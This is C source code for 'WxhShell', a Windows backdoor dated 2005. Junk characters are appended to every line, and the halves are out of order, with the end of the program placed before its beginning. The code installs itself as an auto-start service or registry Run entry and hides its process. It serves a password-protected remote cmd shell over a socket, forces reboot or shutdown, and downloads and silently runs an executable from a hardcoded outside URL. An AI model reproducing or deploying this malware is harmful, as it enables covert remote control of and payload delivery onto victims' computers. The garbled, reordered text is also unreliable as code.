    } & kIFcd@  
  // 关机 }u|q0>^8  
  case 'd': { 9mgIUjz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^Cmyx3O^  
    if(Boot(SHUTDOWN)) $>gFf}#C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E^PB)D(.  
    else { eyaNs{TV  
    closesocket(wsh); llDJ@  
    ExitThread(0); QJNFA}*>  
    } 0x7'^Z>-oe  
    break; $kgVa^  
    } NA*&#X#~  
  // 获取shell V]&\fk-{  
  case 's': { R]dg_Da  
    CmdShell(wsh); ^aQ"E9  
    closesocket(wsh); g}i61(  
    ExitThread(0); 0YzpZW"+  
    break; V)^+?B)T  
  } +p^u^a  
  // 退出 neh(<>  
  case 'x': { "b[5]Y{ U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b -y  
    CloseIt(wsh); !wNO8;(  
    break; l2d{ 73h  
    } l0] EX>"E  
  // 离开 4 :=]<sc,  
  case 'q': { a?.=V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @;kSx":b  
    closesocket(wsh); |}1dFp  
    WSACleanup(); hph4`{T  
    exit(1); h![#;>(  
    break; f?b"iA(6  
        } >7r!~+B"9'  
  } ,[Fb[#Qqb  
  } l,: F  
/xQPTT  
  // 提示信息 t5zKW _J7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %SI'BJ  
} 4YHY7J  
  } z2c6T.1M  
Fi1@MG5$2  
  return; P4?glh q#  
} +#By*;BJ  
:]c3|J  
// shell模块句柄 h~26WLf.  
int CmdShell(SOCKET sock) :EH=_"  
{ /bEAK-  
STARTUPINFO si; :KN-F86i  
ZeroMemory(&si,sizeof(si)); 7.T?#;'3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C?Ucu]cW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :LTN!jj  
PROCESS_INFORMATION ProcessInfo; nm+s{  
char cmdline[]="cmd"; YP9^Bp{0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9cgU T@a  
  return 0; zJXplvaL;  
} C>~TI,5a3  
/>Nt[o[r  
// 自身启动模式 uMv1O{  
int StartFromService(void) *kVV+H<X|b  
{ b\ PgVBf9  
typedef struct @KA4N`  
{ V:27)]q  
  DWORD ExitStatus; dd["dBIZ '  
  DWORD PebBaseAddress; 2Hdu:"j  
  DWORD AffinityMask; ]d`VT)~vje  
  DWORD BasePriority; fatf*}eln  
  ULONG UniqueProcessId; OH"XrCX7n  
  ULONG InheritedFromUniqueProcessId; e%6QTg5#  
}   PROCESS_BASIC_INFORMATION; &?vgP!d&M  
i&k7-<  
PROCNTQSIP NtQueryInformationProcess; 6Iw\c  
P&q7|ST%N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cFv8 Od  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qVPeB,kIz  
rbQR,Nf2x  
  HANDLE             hProcess; CNIsZ v@Q  
  PROCESS_BASIC_INFORMATION pbi; RL<c>PY  
Ha ]YJ}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5?L<N:;J_  
  if(NULL == hInst ) return 0; KU;9}!#  
d1kJRJ   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xCKRxF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0g\(+Qg^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [r-p]"R  
1sCR4L:+  
  if (!NtQueryInformationProcess) return 0; <ih[TtZ  
-![|}pX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /@Zrq#o zx  
  if(!hProcess) return 0; v3qA":(w+(  
b6M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *' X3z@R  
v LZoa-w:  
  CloseHandle(hProcess); Kg$ Mx  
`W-Fssu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N<-Gk6`C/  
if(hProcess==NULL) return 0; FC*[*  
wAd9  
HMODULE hMod; B ZxvJQ  
char procName[255]; fT{Yg /j  
unsigned long cbNeeded; m4g$N)  
L-\GHu~)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); go"Hf_  
2"5v[,$1H  
  CloseHandle(hProcess); :Yks|VJ1  
_2nx^E(pd  
if(strstr(procName,"services")) return 1; // 以服务启动 ;$tSb ~K+  
Z8oK2Dw  
  return 0; // 注册表启动 ,(4K4pN  
} M[uA@  
6&-(&( _  
// 主模块 HmwT~  
int StartWxhshell(LPSTR lpCmdLine) m6djeOl  
{ Wm3X[?V  
  SOCKET wsl; 9,tej  
BOOL val=TRUE; km40qO@3  
  int port=0; XrPfotj1  
  struct sockaddr_in door; F>cv<l =6l  
4e1Y/ Xq`  
  if(wscfg.ws_autoins) Install(); ]fD} ^s3G  
8*fv'  
port=atoi(lpCmdLine); HKr Mim-  
)WoxMmz  
if(port<=0) port=wscfg.ws_port; .6V}3q$-@  
_l]fkk[T  
  WSADATA data; f9\X>zzB2|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hzRYec(  
Gbw2E&a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $\! 7 {6a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,: ->ErP  
  door.sin_family = AF_INET; m_l[MG\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A4ygW:  
  door.sin_port = htons(port); P2*<GjV`S/  
`#gie$B{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FE{FGM q  
closesocket(wsl); /SrAW`;"  
return 1; J'2X&2  
} 6DWgl$[[  
[h:T*(R?  
  if(listen(wsl,2) == INVALID_SOCKET) { p"Z-6m~  
closesocket(wsl); eN~=*Mn(za  
return 1; 3{h_&Gbo'D  
} !L8#@BjU  
  Wxhshell(wsl); (b6NX~G-:  
  WSACleanup(); +KEWP\r  
)tpL#J  
return 0; 2[;_d;oB@  
QVE6We  
} nQ L@hc  
S[T8T|_  
// 以NT服务方式启动 XGMiW0j0B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IkXx# )  
{ s!e3|pGS  
DWORD   status = 0; M:6"H%h,W  
  DWORD   specificError = 0xfffffff; I0 RvnMw  
BRYHX.}h\A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^ K E%C;u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +t:0SRSt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (@}!0[[^  
  serviceStatus.dwWin32ExitCode     = 0; {91nL'-'  
  serviceStatus.dwServiceSpecificExitCode = 0; kE(mVyLQ  
  serviceStatus.dwCheckPoint       = 0; 0<B$#8  
  serviceStatus.dwWaitHint       = 0; tdaL/rRe  
v]c6R-U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /^|Dbx!u  
  if (hServiceStatusHandle==0) return; c7E11 \%&Z  
&l[$*<P5V  
status = GetLastError(); =6#Eh=7N  
  if (status!=NO_ERROR) IyPnp&_  
{ \_6/vZ%-B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -7(@1@1  
    serviceStatus.dwCheckPoint       = 0; I,'k>@w{s  
    serviceStatus.dwWaitHint       = 0; Q?/o%`N  
    serviceStatus.dwWin32ExitCode     = status; <1COZ)   
    serviceStatus.dwServiceSpecificExitCode = specificError; 9RI-Lq`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m<g~H4  
    return; {$Gd2g O  
  } c:u5\&~{  
uL/m u<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )@'}\_a3[]  
  serviceStatus.dwCheckPoint       = 0; C=4Qlt[`  
  serviceStatus.dwWaitHint       = 0; ,<p}o\6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u4|$bbig  
} y<bDTeoo  
A$xF$l  
// 处理NT服务事件,比如:启动、停止 (/*]?Ehd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lo!+f"7ym\  
{ dmN&+t  
switch(fdwControl) AjgF6[B  
{ [=^3n#WW  
case SERVICE_CONTROL_STOP: R+,u^;\  
  serviceStatus.dwWin32ExitCode = 0; KFkoS0M5|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LRMx<X8  
  serviceStatus.dwCheckPoint   = 0; :TC@tM~Oy  
  serviceStatus.dwWaitHint     = 0; NL0n009"c$  
  { QS]1daMIK<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }<y7bqA  
  } @[i4^  
  return; *``JamnSO  
case SERVICE_CONTROL_PAUSE: Q({ r@*g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Km6YP!i  
  break; .Twk {p  
case SERVICE_CONTROL_CONTINUE: R#8L\1l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y]u+\y~  
  break; 1\rz%E  
case SERVICE_CONTROL_INTERROGATE: _M5|Y@XN-  
  break; 3K/MvNI>  
}; ^_5r<{7/ :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gH3vk $WS  
} 3fJc 9|  
@<]Ekkg  
// 标准应用程序主函数 h@WhNk7"xa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ">j j  
{ {Wu$YWE*sx  
yw3$2EW  
// 获取操作系统版本 y e? 'Ze  
OsIsNt=GetOsVer(); c>~*/%+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,V:SN~P66+  
^J8lBLqe  
  // 从命令行安装 ~Ti'FhN  
  if(strpbrk(lpCmdLine,"iI")) Install(); >q1L2',pK  
JNUt$h  
  // 下载执行文件 {9aE5kR  
if(wscfg.ws_downexe) { P0PWJ^+,+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3az&<Pqb  
  WinExec(wscfg.ws_filenam,SW_HIDE); b e^6i:  
} 9lH?-~9  
ce3YCflt  
if(!OsIsNt) { gH7|=W  
// 如果时win9x,隐藏进程并且设置为注册表启动 5K?IDt7A]  
HideProc(); *6F[t.Or  
StartWxhshell(lpCmdLine); Yv!a88+A8M  
} E6gI,f/p0X  
else -FQ 'agf@&  
  if(StartFromService()) )Z?Ym.0/  
  // 以服务方式启动 #@~+HC=  
  StartServiceCtrlDispatcher(DispatchTable); B[-v[K2  
else Nf"r4%M<6  
  // 普通方式启动 oVe|M ss6  
  StartWxhshell(lpCmdLine); Zt.|oYH$  
K_ ~"}  
return 0; ;^I*J:]  
} $.rhRKs  
Rn I&8  
xJ)n4)  
/j|G(vt5  
=========================================== .:QLk&a,:,  
aL&7 1^R,  
,1CIBFY  
!XCm>]R  
xZwLlY  
I\[_9  
" |! E)GahM  
:'l^kSP_*C  
#include <stdio.h> thM4vq   
#include <string.h> hPePB=  
#include <windows.h> 364`IC( a  
#include <winsock2.h> 9g"2^^wD  
#include <winsvc.h> i||]V*5n  
#include <urlmon.h> )MchsuF<  
}n2M G  
#pragma comment (lib, "Ws2_32.lib") `Kr,>sEAM  
#pragma comment (lib, "urlmon.lib") TS9|a{j3!  
Yqi4&~?db  
#define MAX_USER   100 // 最大客户端连接数 &3Sz je  
#define BUF_SOCK   200 // sock buffer nd1+"-,q  
#define KEY_BUFF   255 // 输入 buffer #& Rw&  
1\>^m  
#define REBOOT     0   // 重启 Ix=}+K/  
#define SHUTDOWN   1   // 关机 &wCg\j_c  
K[r^'P5m  
#define DEF_PORT   5000 // 监听端口 >X4u]>X  
b@f$nS B  
#define REG_LEN     16   // 注册表键长度 '*w00  
#define SVC_LEN     80   // NT服务名长度 CtAwBQO  
u5 : q$P  
// 从dll定义API r^paD2&}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~%=MpQ3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'JfdV%M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lP@Ki5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pd;br8yE$@  
i?g5_HI  
// wxhshell配置信息 ^ xh;  
struct WSCFG { LNpup`>`  
  int ws_port;         // 监听端口 #32"=MfQn  
  char ws_passstr[REG_LEN]; // 口令 %<*g!y `  
  int ws_autoins;       // 安装标记, 1=yes 0=no HbA kZP  
  char ws_regname[REG_LEN]; // 注册表键名 0ANZAX5  
  char ws_svcname[REG_LEN]; // 服务名 kZZh"#W: L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 72y0/FJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z>Hgkp8D"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $gy*D7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X4E%2-m@'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a8iQ4   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =&2 Lb  
h=kh@},  
}; `A^"% @j  
#( jw!d&  
// default Wxhshell configuration ,5, !es@`b  
struct WSCFG wscfg={DEF_PORT, E}p&2P+MR  
    "xuhuanlingzhe", =L:4i\4  
    1, 2h1C9n%j9  
    "Wxhshell", 87P>IO  
    "Wxhshell", U\;6mK)M^J  
            "WxhShell Service", )oPLl|=h  
    "Wrsky Windows CmdShell Service", ruzspS  
    "Please Input Your Password: ", 3? 7\ T#=  
  1, L=8<B=QT$  
  "http://www.wrsky.com/wxhshell.exe", U`d5vEhT  
  "Wxhshell.exe" TDNQu_E  
    }; n3Z 5t  
5b[jRj6  
// 消息定义模块  4/1d&Sg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WP+oFkw>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 80/F7q'tn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #9xd[A : N  
char *msg_ws_ext="\n\rExit."; m{uxI za  
char *msg_ws_end="\n\rQuit."; 7-T{a<g  
char *msg_ws_boot="\n\rReboot..."; A1#%`^W9  
char *msg_ws_poff="\n\rShutdown..."; #+5pgD2C  
char *msg_ws_down="\n\rSave to "; x`mN U  
{{MRELipW  
char *msg_ws_err="\n\rErr!"; DRgTe&+  
char *msg_ws_ok="\n\rOK!"; ul2")HL];  
CS-uNG6  
char ExeFile[MAX_PATH]; ayD}r#7  
int nUser = 0; }mdAM6  
HANDLE handles[MAX_USER]; k |%B?\m  
int OsIsNt; }J1tdko#  
.CU5}Tv-  
SERVICE_STATUS       serviceStatus; hn=[1<#^(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5v}8org  
Vq;A>  
// 函数声明 ?yR&/a  
int Install(void); ,7NZu0  
int Uninstall(void); .0rh y2  
int DownloadFile(char *sURL, SOCKET wsh); "zFNg';  
int Boot(int flag); $UCAhG$  
void HideProc(void); \lC   
int GetOsVer(void); d'$T4yA  
int Wxhshell(SOCKET wsl); JJ'.((  
void TalkWithClient(void *cs); *B{j.{ p(  
int CmdShell(SOCKET sock); [E JQ>?D  
int StartFromService(void); C@W"yYt  
int StartWxhshell(LPSTR lpCmdLine); ,o,I5>`  
h{p=WWK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >ByXB!Wi+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aZ'Lx:)R  
*nsAgGKKM^  
// 数据结构和表定义 oDYRQozo>  
SERVICE_TABLE_ENTRY DispatchTable[] = <5jzl  
{ y2vUthRwo  
{wscfg.ws_svcname, NTServiceMain}, dW~*e2nq  
{NULL, NULL} i35=Y~P-  
}; .Pw\~X3!  
ugx%_x6  
// 自我安装 fUQ6Z,9  
int Install(void)  S"$m]  
{ yH*6@P4:0=  
  char svExeFile[MAX_PATH]; Zrr5csE  
  HKEY key; !M]\I&  
  strcpy(svExeFile,ExeFile); .?e\I`Kk^'  
pV,P|>YTf  
// 如果是win9x系统,修改注册表设为自启动 z` FCs,?K  
if(!OsIsNt) { ez!C?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .]7Qu;L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )R  2.  
  RegCloseKey(key); HcV"X,7S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]U7KLUY>:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q)vplV1A  
  RegCloseKey(key); sx51X^d  
  return 0; "=za??\K}  
    } K/=_b<  
  } :`2=@.  
} ZRVT2VfN  
else { 15o?{=b[  
deixy. |  
// 如果是NT以上系统,安装为系统服务 1, ~SS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %ck]S!}6  
if (schSCManager!=0) 2hQ>:  
{ B0!"A  
  SC_HANDLE schService = CreateService jDN ]3Y`  
  ( `o?Ph&p}  
  schSCManager, 1=a>f "cyf  
  wscfg.ws_svcname, +_xOLiu  
  wscfg.ws_svcdisp, 1`9xIm*9w  
  SERVICE_ALL_ACCESS, !i%"7tQ3$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UaViI/ks  
  SERVICE_AUTO_START, e^Ky<*Y  
  SERVICE_ERROR_NORMAL, z)=+ F]  
  svExeFile, &o97u4xi  
  NULL, ,qrQ"r9  
  NULL, GS Q/NYK  
  NULL, 7ei|XfR  
  NULL, 3^ ~KB'RZ  
  NULL xOHgp=#D  
  ); [mr9(m[F  
  if (schService!=0) j$Je6zq0x  
  { ,SiY;(b=\  
  CloseServiceHandle(schService); U*P. :BvG  
  CloseServiceHandle(schSCManager); xvSuPP4 m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &gE 75B  
  strcat(svExeFile,wscfg.ws_svcname); (q7 Ry4-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~/ilx#d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^F"iP7   
  RegCloseKey(key); @*DyZB  
  return 0; -+em!g'  
    } 'EfR|7m  
  } hyT1xa  
  CloseServiceHandle(schSCManager); k8uvNLA)a  
} {E0z@D)U-  
} 5pRV 3K{H  
j]m|7]  
return 1; ed_FiQd  
} TSsKfexQ  
mTEx,   
// 自我卸载 .pvV1JA'  
int Uninstall(void) {Pu\?Cq  
{ wgRs Z  
  HKEY key; O8W7<Wc |z  
7 +@qB]Bi<  
if(!OsIsNt) { 4~OQhiJ   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cFF*Z=L _  
  RegDeleteValue(key,wscfg.ws_regname); 79yd&5#e?  
  RegCloseKey(key); 5+jf/}t A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) (Tom9 ^  
  RegDeleteValue(key,wscfg.ws_regname); *cg( ?yg  
  RegCloseKey(key); S"hTE7`   
  return 0; S$^ RbI  
  } =@5x"MOz  
} Iu35#j  
} EK$Kee}~  
else { vHE^"l5v  
K!mOr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &h,5:u  
if (schSCManager!=0) ,*@AX>  
{ on7I l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oq_6L\ ~  
  if (schService!=0) EIf ~dOgH  
  { Q!FLR>8  
  if(DeleteService(schService)!=0) { #s%-INcR  
  CloseServiceHandle(schService); ?<yM7O,4  
  CloseServiceHandle(schSCManager); Lh-`OmO0>F  
  return 0; WmQ 01v  
  } )*d W=r/$V  
  CloseServiceHandle(schService); A;u"<KG?  
  } 5]1h8PW!Y  
  CloseServiceHandle(schSCManager); pBC<u  
} xT)psM'CL  
} .\qj;20W  
 X}6#II  
return 1; *$M'`vj:  
} V8~jf-\$b  
U#o'H @  
// 从指定url下载文件 6R29$D|HFO  
int DownloadFile(char *sURL, SOCKET wsh) *AIEl"29  
{ 9=/N|m8.  
  HRESULT hr; Bz`yfl2  
char seps[]= "/"; kV Rn`n0  
char *token; /+3a n9h  
char *file; N6[i{;K@N{  
char myURL[MAX_PATH]; 5b6s4ZyV  
char myFILE[MAX_PATH]; ,s^<X85gp\  
6dEyv99  
strcpy(myURL,sURL); -)y%~Zn  
  token=strtok(myURL,seps); ib0g3p-Lc  
  while(token!=NULL) #9LzY  
  { ksjUr1o  
    file=token; jAsO8  
  token=strtok(NULL,seps); \ U-vI:J_  
  } il:nXpM!  
@oG)LT  
GetCurrentDirectory(MAX_PATH,myFILE); mty1p'^KQ  
strcat(myFILE, "\\"); qUF1XJZ }z  
strcat(myFILE, file); 0X(]7b&~R  
  send(wsh,myFILE,strlen(myFILE),0); !z zW2>  
send(wsh,"...",3,0); qYp$fmj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); efuK  
  if(hr==S_OK) kDz>r#%  
return 0; qOG}[%<^n7  
else [W,-1.$!dM  
return 1; n|4;Hn1V  
r++i=SQax  
} :<~7y.*O{  
~mN% (w!^  
// 系统电源模块 G;oFTP>o  
int Boot(int flag) ]PNow S\  
{ qsg>5E  
  HANDLE hToken; fj'j NE  
  TOKEN_PRIVILEGES tkp; NgB 7?]vu  
YTU.$t;Ez  
  if(OsIsNt) { ;S/7 h6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BvSIM%>h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O hR1Jaed  
    tkp.PrivilegeCount = 1; G(1 K9{i$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c~dM`2J,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tO.$+4a  
if(flag==REBOOT) { swpnuuC-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (5uJZ!m  
  return 0; :a< hQ|p  
} } IlP:  
else { g3?U#7i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? 4)v`*  
  return 0; r[Zq3  
} S9Yt1qb  
  } 3#<* k>1G?  
  else { / axTh  
if(flag==REBOOT) { 0D)`2W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z]-WFU_ N  
  return 0; s!6=|SS7  
} ]i8c\UV\  
else { xT F=Y_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 04 y!\  
  return 0; D(r:}pyU  
} G"S5ki`o  
} h#3m4<w(9  
|j_`z@7(  
return 1; hE!7RM+Y  
} ]X" / yAn  
CJq c\I~  
// win9x进程隐藏模块 E:VGji7s  
void HideProc(void) <uF [,  
{ _qTpy)+  
~r`Wr`]_z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )XVh&'(r  
  if ( hKernel != NULL ) B[xR-6phW  
  { te2 Iu%5 z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '.p? 6k!K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BQjam+u6  
    FreeLibrary(hKernel); &P n]  
  } C;sgK  
YlUpASW  
return; <FmBa4ONU  
} XS0V:<+,  
{~GR8 U  
// 获取操作系统版本 WaYO1*=  
int GetOsVer(void) u;n(+8sz  
{ 1| xN%27>  
  OSVERSIONINFO winfo; |ft:|/^F&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }h~'AM  
  GetVersionEx(&winfo); / = ^L iP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9!t4>  
  return 1; !O\X+#j  
  else t>U!Zal"  
  return 0; gEKO128  
} J#7(]!;F  
<7g Ml  
// 客户端句柄模块 /{G/|a  
int Wxhshell(SOCKET wsl) ,z66bnjO  
{ (G5xkygR9  
  SOCKET wsh; OKQLv+q5K)  
  struct sockaddr_in client; M j~${vj  
  DWORD myID; `45d"B I  
POBpJg  
  while(nUser<MAX_USER) t&"5dM\  
{ RWahsJTu  
  int nSize=sizeof(client); B/Ba5z"r$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #S i|!  
  if(wsh==INVALID_SOCKET) return 1; 3Hm7 uBZ  
caD5Pod4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %}F"*.  
if(handles[nUser]==0) zPQ$\$7xB  
  closesocket(wsh); om7`w ]  
else  6`"ZsO  
  nUser++; 4!2SS  
  } *o|p)lH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sfC@*Y2XT  
;Prg'R[o;  
  return 0; FT_k^CC  
} b]dxlj} <  
s, -*q}  
// 关闭 socket EVSK8T,  
void CloseIt(SOCKET wsh) )_O.{$ to  
{ Y\u_+CG*  
closesocket(wsh); /.-m}0h|W-  
nUser--; @}G|R\2P  
ExitThread(0); 6 ">oo-  
} fMB4xbpD  
6bJ"$o  
// 客户端请求句柄 kh&_#,  
void TalkWithClient(void *cs) e3rfXhp  
{ R1 qMg+  
td/5Bmj  
  SOCKET wsh=(SOCKET)cs; nCB[4  
  char pwd[SVC_LEN]; 36i_D6  
  char cmd[KEY_BUFF]; W^ClHQ"Iy  
char chr[1]; `1_FQnm)  
int i,j; *(VbPp_H_  
^8\Y`Z0%  
  while (nUser < MAX_USER) { \I xzdFF#  
Wy,"cT  
if(wscfg.ws_passstr) { w#d} TY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0hZxN2r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T]X{ @_  
  //ZeroMemory(pwd,KEY_BUFF); f<=^ 4a  
      i=0; s KCGuw(mh  
  while(i<SVC_LEN) { $Q,n+ /  
Ei|0L$NCg  
  // 设置超时 Zr R+QV  
  fd_set FdRead; I~'gK8<e7  
  struct timeval TimeOut; *p"O*zj  
  FD_ZERO(&FdRead); _6J<YQK  
  FD_SET(wsh,&FdRead); :b,o B==%  
  TimeOut.tv_sec=8; [Z% l.  
  TimeOut.tv_usec=0; <mn-=#)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ujNt(7Cz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vF+YgQ1H  
t*rp3BIG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EUXV/QV{  
  pwd=chr[0]; iGyVG41U  
  if(chr[0]==0xd || chr[0]==0xa) { ec`>KuY  
  pwd=0; 8ipW3~-4  
  break; z,os MS  
  } 0c-QIr}m  
  i++; 2:n|x5\H  
    } ,FS?"Ni  
T*p|'Q`  
  // 如果是非法用户,关闭 socket ;_w MWl0F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ],$6&Cm  
} =QTmK/(|B  
v6KL93  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }7&\eV{qU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Z],+?.[  
H7J`]nr6  
while(1) { MXh^dOWR  
=>.DD<g"  
  ZeroMemory(cmd,KEY_BUFF); j@_nI~7f}  
r8<JX5zyuo  
      // 自动支持客户端 telnet标准   ^U" q|[qy  
  j=0; Vz k cZK  
  while(j<KEY_BUFF) { B_b8r7Vn`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =sL(^UISl  
  cmd[j]=chr[0]; 6O%=G3I  
  if(chr[0]==0xa || chr[0]==0xd) { cy9N:MR(c  
  cmd[j]=0; 4'_L W?DS  
  break;  s"#CkG  
  } M$gvq:}kt  
  j++; # e$\~cPd  
    } M'b:B*>6  
^v#+PyW  
  // 下载文件 2}ag_  
  if(strstr(cmd,"http://")) { }t}38%1i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M2a}x+5'  
  if(DownloadFile(cmd,wsh)) dzpj9[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~igRg~k:/  
  else |F3vRt@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EmYO5Whi  
